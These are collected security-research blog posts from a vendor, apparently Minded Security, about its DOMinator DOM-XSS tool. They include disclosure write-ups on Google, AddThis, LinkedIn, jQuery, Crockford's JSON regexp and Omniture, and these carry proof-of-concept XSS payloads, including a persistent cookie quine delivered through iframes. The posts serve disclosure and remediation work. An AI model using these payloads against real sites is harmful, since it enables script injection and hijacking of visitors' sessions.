Comparing DOM based XSS Identification Tools on a Real World Vulnerability

Due to the lack of literature about DOM Based XSS identification tools awareness, we decided to write a paper that took the actual tools that are stated to be able to identify DOM Based XSS and test their capabilities when dealing with a real world DOM XSS issue.

"..
Minded Security has been the first company to launch a commercial tool aimed to identify DOM Based XSS  with a runtime approach: DOMinatorPro.
In 2012, as a result of our research on DOM XSS, we released the tainting engine on github.com as an open source project and created a commercial version that let users easily identify several kind of JavaScript vulnerabilities with a pretty high rate of accuracy .

Since then, some tools, open source and commercial, have been developed and awareness on this very topic grew among application security experts.

The following paper will try to give an unbiased study supported by objective facts about precision and accuracy of existing tools that are stated to identify DOM Based XSS vulnerabilities.
..."

Pdf here
Every feedback is really welcome!

Linkedin.com fixes a High Risk Vulnerability inside its Javascript Code

Linkedin.com security team released a patch after receiving our DOMinatorPro Enterprise analysis report.

Update: The fix was actually faster than the fix notification. The fix was made in less than ten days.

DOMinatorPro Enterprise is very clever in finding exploitable JavaScript security issues on complex JavaScript web applications. You can find a PDF report that describes a new DOMXSS (https://www.owasp.org/index.php/DOM_Based_XSS) issue discovery in one of the major social media websites: Linkedin.com.


Linkedin.com DOMXSS Full PDF Report:

New improvements make DOMinatorPro Enterprise even more powerful!

DOMinatorPro Enterprise has new and improved features that make the discovery and exploitation of such complex issues very easy:

• “Smart Fuzzer”. DOMinatorPro Enterprise fuzzer is smarter: it collects actionable parameters and fill those parameters with the values expected by the javascript source code itself.
• Third Generation Exploitability Check. DOMinatorPro Enterprise not only follows strings manipulation functions, not only checks how many times encoding or decoding functions are called, it understands which meta-characters are allowed. This makes exploitability analysis one step further.

Linkedin.com is #9 in Alexa websites ranking and has more than 300 million users (http://blog.linkedin.com/2014/04/18/the-next-three-billion/) making it the world largest professional network.

Here at Minded Security it is not the first time that we find Javascript vulnerabilities in social network related javascript code on this blog to protect internet users. We already talked vulnerabilities affecting the following social network websites:

• Twitter - http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
• Google Plus (Google Plus One Button) - http://blog.mindedsecurity.com/2012/11/dom-xss-on-google-plus-one-button.html
• Facebook +AddThis Like Button - http://blog.mindedsecurity.com/2012/09/analysis-of-dom-xss-vulnerability-in.html

JavaScript security is very important, even more in portals where users store their personal data. Attackers can target those portals to find and exploit High-risk JavaScript vulnerabilities like DOMXSS vulnerabilities, to perform the following attacks:

1. De-anonymize user identities. By abusing a DOMXSS attackers can instantly know the identity of their web visitors if the vulnerability is affecting a website like a social media portal.
2. Private information stealing. Reading information from the page of the user page and sending those to the attacker (e.g. private messages)Account Takeover. Session hijacking, credential stealing or performing actions on the behalf of the user.
3. Wormable Pandemic. These vulnerabilities let attackers to create JavaScript worms that could spread malicious content among millions of users.

DOMinatorPro Enterprise can find and analyze issues like one on almost any web portal, giving the technical insights you need to find and validate a plethora of JavaScript security issues.

Financial Cyber-Threat Briefing

“Planning for Attack-Resilient Web Applications”

The next 11th July 2014 in London Minded Security, the Software Security Company, will present an overview of the most common and latest attack vectors affecting online banking and other financial online services, strategies and methodologies for addressing growing risks in this domain and demonstrate some of latest untraceable exploits as well as solutions to stop them.

The agenda

14.30 to 15:00 Registration and welcome

15.00 to 16:15 Keynote Presentation

16:15 to 16:30 Networking Break 

16:30 to 17:15 Live Demos 

17:15 to 18.00 Networking Drinks Reception

Speakers and presentations

"Emerging Cyber-Threats Targeting Financial Institutions"

This presentation will share research carried out on the root causes of security incidents caused by attacks from emerging threats such as malware banking. The session will provide practical examples of instances of compromises causes by various threat agents and provide an in depth analysis of methods and attacks vectors employed against online banking applications. The scope of this analysis will be to analyse the threats, simulate attacks and identify flaws in application architecture that can be prioritised for remediation. To simulate the attack, modelling techniques such as the attack kill chain and attack trees will be shown. The goal of this session is to provide information security officer’s examples of processes, methodologies and risk frameworks that can be used to identify countermeasures to mitigate emerging threats.

Speaker: Marco Morana, SVP Technology Risks & Controls, Citi

"Overview of Online Banking Malware & Countermeasures"

This session will present how attackers currently identify and exploit web vulnerabilities on financial institution websites to stealing credentials. Giorgio will also demonstrate how compromised customer PC’s can compromise online transaction platforms an overview of the technology being used for prevention. Finally Giorgio will present a new technology “AMT Banking Malware Detector” that allows banks to identify users infected with malware before they become victims of fraud.

Speaker: Giorgio Fedon, COO, Minded Security & OWASP Lead.

"Preventing In-Browser Malicious Code Execution"

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. Certain vulnerabilities in JavaScript code cannot be tracked by standard IDS or perimeter security measures, which leads to a huge potential vulnerability, the code can be abused to steal data or bypass authentication mechanisms in web interfaces. This presentation will demonstrate vulnerabilities and also present Minded Security’s latest countermeasure DOMinatorPro.

Speaker: Stefano Di Paola. CTO, Minded Security & OWASP Project Lead

Info & Registration

For more information and registration, please visit the following web page:

http://www.liquid-nexxus.com/en/schedule/next/financial-cyber-threat-briefing

DOMinatorPro Fuzzer finds a DOM XSS on Google.com

Introduction a.k.a. tl;dr

A quite simple DOM Based XSS was found on https://www.google.com/ context using DOMinatorPro.
What I think it's interesting here, is to show how DOMinatorPro works in this real world case.

In order to give a more detailed description, i recorded a video (HD) to show how DOMinatorPro can help in finding those particular kind of issues.

Some Details

DOMinatorPro is a runtime JavaScript DOM XSS analyzer, which means it can check for complex filters and help in finding debug and/or unreferenced parameters during JavaScript execution.

In order to do that, DOMinatorPro exposes a fuzzer button which fuzzes the URL query string and html input elements that have keyboard events attached to them as shown in the youtube video.
By using that feature I found that the code in

http://www.googleadservices.com/pagead/landing.js

uses unvalidated input to build the argument for two document.write call.

This javascript is used, among others, by:

http://www.google.com/toolbar/ie/index.html

and

https://www.google.com/toolbar/ie/index.html

which means that one more time a (almost) 3rd party script introduces a flaw in the context of an unaware domain.

Source Analysis

From http://www.googleadservices.com/pagead/landing.js (which has now been removed) the following lines do not escape user input:

Line 53:

    if (w.google_conversion_ad) {
      url = url + "&gad=" + w.google_conversion_ad;
    }
    if (w.google_conversion_key) {
      url = url + "&gkw=" + w.google_conversion_key;
    }
    if (w.google_conversion_mtc) {
      url = url + "&gmtc=" + w.google_conversion_mtc;
    }
    if (w.google_conversion_raw) {
      url = url + "&graw=" + w.google_conversion_raw;
    }
    if (w.google_conversion_domain) {
      url = url + "&dom=" + w.google_conversion_domain;
    }

   
And those values are taken by using :

function google_get_param(url, param) {
var i;
var val;
if ((i = url.indexOf("?" + param + "=")) > -1 ||
(i = url.indexOf("?" + param.toUpperCase() + "=")) > -1 ||
(i = url.indexOf("&" + param + "=")) > -1 ||
(i = url.indexOf("&" + param.toUpperCase() + "=")) > -1) {
val = url.substring(i + param.length + 2, url.length);
if ((i = val.indexOf("&")) > -1) {
val = val.substring(0, i);
}
}
return val;
}

...

google_conversion_ad = google_get_param(url, "gad");
if (window.google_conversion_ad) {
(google_conversion_key = google_get_param(url, "gkw")) ||
(google_conversion_key = google_get_param(url, "ovkey"));
google_conversion_mtc = google_get_param(url, "ovmtc");
google_conversion_raw = google_get_param(url, "ovraw");
}
}

After the previous code, the url variable is used on line 91:

document.write('' name="google_conversion_frame"' +
' width="' + width + '"' +
' height="' + height + '"' +
' src="' + url + '"' +
' frameborder="0"' +
' marginwidth="0"' +
' marginheight="0"' +
' vspace="0"' +
' hspace="0"' +
' allowtransparency="true"' +
' scrolling="no">');

and line 103:

document.write(''src="' + url + '&ifr' + 'ame=0"' +
' />');

so the offending url (which can be found with DOMinatorPro fuzzer), is:

http://www.google.com/toolbar/ie/index.html?&gad=bbbb&gkw=yyyy&ovkey=10101010&ovmtc=14141414&ovraw=18181818&

and on any of those parameters can be added an attack payload like:

AAAA"onload="alert(document.domain)"

Remediation

I suggested that the use of encodeURIComponent on user data

    if (w.google_conversion_ad) {
      url = url + "&gad=" + encodeURIComponent(w.google_conversion_ad);
    }
    if (w.google_conversion_key) {
      url = url + "&gkw=" +
encodeURIComponent(w.google_conversion_key);
    }
    if (w.google_conversion_mtc) {
      url = url + "&gmtc=" +
encodeURIComponent(w.google_conversion_mtc);
    }
    if (w.google_conversion_raw) {
      url = url + "&graw=" +
encodeURIComponent(w.google_conversion_raw);
    }
    if (w.google_conversion_domain) {
      url = url + "&dom=" +
encodeURIComponent(w.google_conversion_domain);
    }

would have solved the problem.

Anyway, Google fixed that by removing that script for good, which is a solution as well! :)

Conclusions 

As already said in my previous post, I still see DOM based XSS all around with little awareness and difficulties by all actors in SDLC in identifying them.
DOMinatorPro can really help in finding DOM based XSS and it does that by helping testers, developers or QA users by trying to give the information they need by adapting to the knowledge they have.

Give DOMinatorPro a Try

Do you still trust all those 3rd party JavaScripts embedded in your pages ?
Just browse your site with DOMinatorPro or fuzz your pages and see what happens. :)
In case you need help, check out our professional services or just ask for a contact.

Two updates for DOMinatorPro Suite

As some of you already knows DOMinatorPro Suite consists in two parts, one opensource named DOMinatorCore,based on Mozilla Firefox, hosted on GitHub and a commercial, proprietary AddOn named DOMinatorPro Extension.

Before all words and phrases, here's a MacOs screenshot anticipation of the fully updated DOMinatorPro Suite:

Some very interesting new features have been added, I really hope you'll be interested in trying them.
Bottom line: new versions of both pieces of the suite are out and here is the list of changes.

DOMinatorCore 

Product: DOMinatorCore
Date: 06/10/2012
Version: 0.9.6

• Finally a MacOs version is available for download!Register or go to your DOMinatorPro personal page and download it!
• A small but significant improvement in taint propagation  about the creation on the fly of objects via JSON or eval result in tainted values or key name.

var TaintedString='{"k1":"V1PATTERN","k2PATTERN":"V2"}'; var newObj = eval('('+TaintedString+')'); //Obj.keys(newObj)[1].tainted & newObj.k1.tainted are now true; Object.keys(newObj).map( function(a,b) { console.log(a,a.tainted,newObj[a],newObj[a].tainted) } ) 

Where PATTERN is a customizable RegEx pattern that triggers the creation of Tainted Stored Strings. We'll blog about the so called Tainted Stored Strings in the next days.
Previously, it would have been triggered only the eval alert on the Stored String if the PATTERN matched.

DOMinatorPro Extension

DOMinatorPro Extension on the other hand has important changes.

Product: DOMinatorPro Extension
Date: 06/10/2012
Version: 0.9.1.2

Tainting

• ResponseText can be now set as tainted according to Stored Taint functionality.
• Fixed Firefox bug about location.pathname
• Added checks for uncontrollable inputElements like checkbox or radio buttons.
• Fixed jQuery double log for some sink
• jQuery alerts are shown with jQuery version used, since it can make the difference.
• Improved jQuery tests and noconflict wrap.
• location.pathname now returns the pathinfo part with ';'.
• Hidden and unusable input tag values are now exluded from sources (radio buttons, textbox)

Analysis Engine

• Improved url building algo in the fuzzer.
• Experimental Regular Expression check for False Negative / False Positives.

User Interface

• Now DOMinatorPro has a starting page about:dominator.
• DOMinatorPro Settings UI are now exposed.
• We are now able to remove selected results from the log.
• Removed StackTrace Button since it's handled automatically by sink events.

Automation

• Added first support to selenium.
• Remote Alerting send Native JSON.

Knowledge base

• Knowledge base improvements. 

Most of the changes in the code probably should require a blog post and a video. I'll try to cover some of the more interesting parts about them in the next days!

For any question or request feel free to drop us a line at dominator at mindedsecurity dot com.

Ps. Maybe some already registered trial user will complain about the impossibility to download the addon update, you can download the full suite which comes with a version close to the up to date.

Temporary Patch for a Dom Xss 0day in Addthis.com Widgets

Note: Addthis.com fixed this issue yesterday 26/09/12 thanks to Addthis.com team for fixing it so rapidly!


Including a Javascript code in your homepage from another Website is a very common practice.

"Third party scripts are a hidden-potential security threat"

Addthis.com for example provides very useful scripts to help enhancing a website with the most used social media networks. From Wikipedia: “ AddThis is a widely used social bookmarking service that can be integrated into a website with the use of a web widget. Once it is added, visitors to the website can bookmark an item using a variety of services, such as Facebook, MySpace, Google Bookmarks, Pinterest, and Twitter.[2]”.

AddThis social plugins and analytics are used by "over 14 million sites worldwide” (2007).

You just need to “add this”:

There are many advantages in doing this:
•    code will be updated by the maintainer
•    bugs will be fixed silently
•    … many others

Unfortunately it also hides several drawbacks:

•    Security vulnerabilities in referenced scripts will affect your website

During the past year we analyzed many Javascript codes belonging to tracking cookies. Some of those analysis have been pretty interesting. During 2011 we reported for example several issues in Omniture Catalyst Javascript code, with documented proof of concept code (http://blog.mindedsecurity.com/2011/04/god-save-omniture-quine.html)

The DomXss Vulnerability

DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

More information about DomXss vulnerabilities can be found here:
•    https://www.owasp.org/index.php/DOM_Based_XSS
•    http://code.google.com/p/domxsswiki/wiki/Introduction

DomXss in Addthis.com Widgets

Details of the vulnerability have been temporarily omitted because the number of affected websites is huge. We did this for giving enough time to the vendor for fixing the issues (full details have been sent to support@addthis.com).

Note from 26/09: Investigating further, it seems that vulnerability is not always triggered; this may depends from the templates used
Note from 27/09: Details about the issue can be found here

• http://blog.mindedsecurity.com/2012/09/analysis-of-dom-xss-vulnerability-in.html

Vulnerability has been found using DominatorPro, our DomXss Analyzer. Dominator is an opensource project with several extensions (some of these are commercial) and can be downloaded for free at

• http://dominator.mindedsecurity.com

A temporary patch

You can make this temporary patch by configuration for protecting your website in the meantime that the vulnerable code will be fixed. Note: this patch is not for the vulnerability itself but will prevent it from being easily exploited.

To patch a vulnerable AddThis.com Widget manually populate the following property:

•    addthis:url

For more information visit:

• http://support.addthis.com/customer/portal/articles/381242-url-title

 

Example:

 ... <div addthis:url="http://example.com" class="addthis_toolbox addthis_default_style" nbsp="nbsp"> ... 

If you don’t add this, you are potentially vulnerable. 

DOMinator Pro has been released!

DOMinator Pro is a commercial suite whose concept is based on the DOMinator project (that is one of the Top Ten Web Hacking techniques 2011).

It performs a Realtime Dynamic Data Tainting which represents an innovative approach to identify DOM based Cross Site Scripting vulnerabilities and can help identify client side issues in a very short time while simply navigating.

DOMinator Pro Suite consists of two principal components:
1. DOMinator Core Engine: an core engine based on Firefox 8.0 modified version of SpiderMonkey (JS Engine)to add Dynamic Tainting and perform Taint propagation Tracing. Open source and downloadable from GitHub.
2. DOMinator Pro Extension: a proprietary, commercial extension which contains the knowledge base, the user interface and the analysis engine.
The DOMinator Pro Suite is a full package of the compiled code for immediate use for Windows and Linux.

How does it work

It uses dynamic runtime tainting engine which performs taint propagation on strings and keeps trace of previous operations in order to collect the so called Source History.
Source History of a tainted string will help in understanding if vulnerability is actually exploitable or not.

There are several techniques that could help humans to identify security issues in code and systems.

Static analysis is one of the most widely-used in conjunction with manual testing. Even if there are good advantages in using automatic static analysis tools like code coverage and fast analysis, it can have several drawbacks since JavaScript and DOM rely on browsers internal state, page contents and dynamic data in general. Static analysis on client side JavaScript could then result in plenty of false positives and false negatives.

DOMinator takes JavaScript security analysis to a different level, it uses realtime flow execution taking advantage of the native Mozilla JavaScript parser, analyzing dangerous methods only when used in conjunction with tainted sources in a real executed flow. This means that there will be a very low number of false positives respect to static analysis.

This approach gives several advantages as the state of the client is entirely consistent with user experience and the flow is executed and analyzed as it runs.

Features in DOMinator Pro

* New HTML 5 Source Objects and Sinks.
* Alerts when jQuery is used in conjunction with tainted sources.
* Alerts in real time with description of the vulnerabilities, code example and remediation summaries.
* Remote alerts in JSON format.
* Experimental DOM Based XSS Stored Sources.
* Minimization of false positives with new analysis techniques.

Web is an ever evolving environment, and DOMinator Pro will have new features and new technologies to keep your DOM based issues analysis and exploitations always up to date!

Why should we care about DOM Based XSS?

DOM XSS is getting more and more attention over the web and it can be considered one of the next generation web vulnerabilities stars (W3c Conference 2011, B.Hill and S.Stender ).

DOM XSS is a security issue of dynamic JavaScript, where unsanitized data is rendered by client side code.

Since Ajax is the main technology behind Cloud and Software As Service infrastructure, this issues (DOM XSS) if correctly exploited can break the Security.
Like Stored and Reflected XSS, DOM Based XSS could allow an attacker to inject his own code into other domain sandbox (Cross Site Scripting), with the important difference that it may run completely undetected by Web Application Firewalls and other security tools that can protect applications on the server side.

Even if you already take care of security testing on your applications there's very few companies that perform client side checks, because DOM based XSS is still underestimated and difficult to analyze without tools.
In 2011 Minded Security showed that using the community version of DOMinator it was possibile to identify that 57 out of 100 top Alexa sites were vulnerable to exploitable DOM Based Cross Site Scripting.
Considering that result it can be inferred that no one to a small number of companies are already aware about client side JavaScript security analysis.

Who should use DOMinator Pro?

DOMinator Pro was developed in order to facilitate the process of finding client side issues even for people with little security knowledge.
DOMinator Pro represents the first tool which can help quality teams, security testers,and developers to identify client side security issues while performing runtime quality or security testing.
Software companies producing web interfaces with heavy use of client side JavaScript code, should use it in order to add security checks in their software development lifecycle.
Big internet companies can use DOMinator Pro with automatic browser testing tools and directly get alerts in their bug ticket systems.
Eventually, there will be DOMinator Pro use for whoever is concerned about client side JavaScript security.

Featured Downloads and Information

Go to DOMinator Site, register yourself and download a 15 days Trial for DOMinator Pro.
You will see with your own eyes how DOMinator Pro overcomes static analysis drawbacks by performing runtime analysis during normal navigation.
Are you already persuaded? Contact us for license purchase.
Choose the version of DOMinator which suits your needs!

Ye Olde Crockford JSON regexp is Bypassable

Introduction

While doing some test with DOMinator I found several sites and applications using the following JSON parse routine:

function jsonParse(string, secure) {
if (secure &&
!/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/.test(string.replace(/\\./g, "@").replace(/"[^"\\\n\r]*"/g, ""))) {
return null;
}
return eval("(" + string + ")");
}

or similar.
It turned out that eval function can be reached on IE and execute arbitrary javascript code.
Suppose, in fact, that the JSON String comes from a source like location.hash and consider the following code:

jsonParse(location.hash.slice(1),true);

So far, it was considered safe and, in fact, several javascript libraries use it.

Regexp Analysis

By looking at the regexp, it can be noted that the following string is considered valid:

jsonParse('a')

because of the Eaeflnr-u part with no quotes.

This means that even if the string does not represent a JSON Object it'll be eval'ed.

Once found this behavior, it's important to find window objects that match the regexp.
I did it by executing the following code:

for(var aa in window)
if( aa.match(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/))
console.log(""+aa)

Which resulted in the following window objects:

• self
• status

Hence is possible to reference self["anyobject"]["anyotherobject"] in the eval.

Exploiting JSON Bypass

What's been described so far, shows that, depending on how that result is used, it will be potentially possible to change the flow of inner javascript.

There is more fun if the victim uses Internet Explorer.
According to the wonderful Sirdarckcat and ThornMaker research on Internet Explorer is possible to execute arbitrary JavaScript using the following code:

+{ valueOf: location,
toString: [].join,
0: 'payload',
length: 1
}

So, considering that self object can be used, the following string will be treated as a valid JSON payload:

+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}

This payload bypasses the old Crockford's regexp and will lead to arbitrary JavaScript execution.

Countermeasures and fix

The new json.js uses a brand new regexp which "should" be safe, however it's always better to use json_parse.js which doesn't use eval.

Finally, consider that, even if the JSON parser will work as expected, the attributes and values are not validated so don't trust them!

P.S.
This post doesn't mean that Firefox or other browsers are not exploitable. It's just a matter of time to find some working vector. So if you find it and want to share, leave a comment!

jQuery is a Sink!

What's a Sink in Application Security?
A sink can be described as a function or method that is potentially dangerous when it's (unexpectedly) called or if one of its arguments, coming from an untrusted input, is not correctly escaped according to the layer the function is going to communicate to.

The jQuery Sink
Suppose we have the following code:

var aVar=location.hash;
jQuery(aVar);

By looking at the DOMinator output, you'll see something like the following:

That means the jQuery, or its alias '$', method is trying to understand if hash contains some tags. In particular part of the JavaScript stack trace will be similar to the following:

4 14:44:40.306 :[ http://host/jQueryTest.html#aaaaa ]
Target: [ exec(^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)) CallCount: 1 ]
Data:
+ #aaaaaa
http://host/jquery-1.4.3
,Line:19
,1: function (selector, context) {
2: var match, elem, ret, doc;
3: if (!selector) {
4: return this;
5: }
6: if (selector.nodeType) {
7: this.context = this[0] = selector;
8: this.length = 1;
9: return this;
10: }
11: if (selector === "body" && !context && document.body) {
12: this.context = document;
13: this[0] = document.body;
14: this.selector = "body";
15: this.length = 1;
16: return this;
17: }
18: if (typeof selector === "string") {
19: match = quickExpr.exec(selector);
20: if (match && (match[1] || !context)) {
21: if (match[1])
...

So, by trying to put #<img/src/onerror=alert(1)> in the hash part, we'll see the following alert on DOMinator:

12 14:44:40.364 :[ http://host/jQueryTest.html ]
Target: [ DIV.innerHTML CallCount: 1 ]  
 Data: 
+ <img src="" onerror="alert(1)" />
 + Stack Trace 
 
http://host/jquery-1.4.3
,Line:20
,1: function (elems, context, fragment, scripts) {
2: context = context || document;
3: if (typeof context.createElement === "undefined") {
4: context = context.ownerDocument ||
5: context[0] && context[0].ownerDocument || document;
6: }
7: var ret = [];
8: for (var i = 0, elem; (elem = elems[i]) != null; i++) {
9: if (typeof elem === "number") {
10: elem += "";
11: }
12: if (!elem) {
13: continue;
14: }
15: if (typeof elem === "string" && !rhtml.test(elem)) {
16: elem = context.createTextNode(elem);
17: } else if (typeof elem === "string") {
18: elem = elem.replace(rxhtmlTag, "<$1>");
19: var tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase(), wrap = wrapMap[tag] || wrapMap._default, depth = wrap[0], div = context.createElement("div");
20: div.innerHTML = wrap[1] + elem + wrap[2];
21: while (depth--) {
22: div = div.lastChild;
23: }
.....

Which means that if the arguments of jQuery contains some kind of tag it'll be rendered using innerHTML, resulting in a potential DOM Based Xss.

Countermeasures
If you have to use some untrusted input, Data Validation and Output encoding should be performed before using it as a jQuery argument.

The DOMinator Project

Update : DOMinator goes Pro and is now available at the following here

Finally DOMinator is public!

What is DOMinator?
DOMinator is a Firefox based software for analysis and identification of DOM Based Cross Site Scripting issues (DOMXss).
It is the first runtime tool which can help security testers to identify DOMXss.

How it works?

It uses dynamic runtime tainting model on strings and can trace back taint propagation operations in order to understand if a DOMXss vulnerability is actually exploitable.

You can have an introduction about the implementation flow and some interface description here

What are the possibilities?

In the topics of DOMXss possibilities are quite infinite.
At the moment DOMinator can help in identifying reflected DOM Based Xss, but there is potential to extend it to stored DOMXss analysis.

Download

Start from the installation instructions then have a look at the video.
Use the issues page to post about problems crashes or whatever.
And finally subscribe to the DOMinator Mailing List to get live news.

Video
A video has been uploaded here to show how it works.
Here's the video:


Soon I'll post more tutorials about the community version.


Some stats about DOM Xss

We downloaded top Alexa 1 million sites and analyzed the first 100 in order to verify the presence of exploitable DOM Based Cross Site Scripting vulnerabilities.
Using DOMinator we found that 56 out of 100 (56% of sites) were vulnerable to reliable DOMXss attacks.
Some analysis example can be found here and here.
We'll release a white paper about this research, in the meantime you can try to reach our results using DOMinator.

Future work

DOMinator is still in beta stage but I see a lot of potential in this project.
For example I can think about:

• Dominator library (Spidermonkey) used in web security scanners project
• for automated batch testing.
• Logging can be saved in a DB and lately analyzed.
• Per page testing using Selenium/iMacros.
• A version of DOMinator for xulrunner.
• A lot more

It only depends on how many people will help me in improving it.

So, if you're interested in contributing in the code (or in funding the project) let me know, I'll add you to the project contributors.
We have some commercial ideas about developing a more usable interface with our knowledge base but we can assure you that the community version will always be open and free.

In the next few days I'll release a whitepaper about DOMinator describing the implementation choices and the technical details.

Stay tuned for more information about DOMinator..the best is yet to come.

Acknowledgements
DOMinator is a project sponsored by Minded Security, created and maintainted by me (Stefano Di Paola).
I al want to thank Arshan Dabirsiaghi (Aspect Security), Gareth Heyes and Luca Carettoni (Matasano) for their feedback on the pre-pre-beta version :)

Finally, feel free to follow DOMinator news on Twitter as well by subscribing to @WisecWisec and @DOMXss.

God Save The (Omniture) Quine

Some weeks ago, while testing a website hosted by a client of ours with DOMinator, I found that an Omniture Catalyst plugin called crossVisitParticipation used an eval on a cookie value.
It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.

Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:

// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }

which is called from another method:

if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");

Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:

//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'

but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:

<script>
function go(){

var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>

The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.

As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.

BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.


PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.

PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.

PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.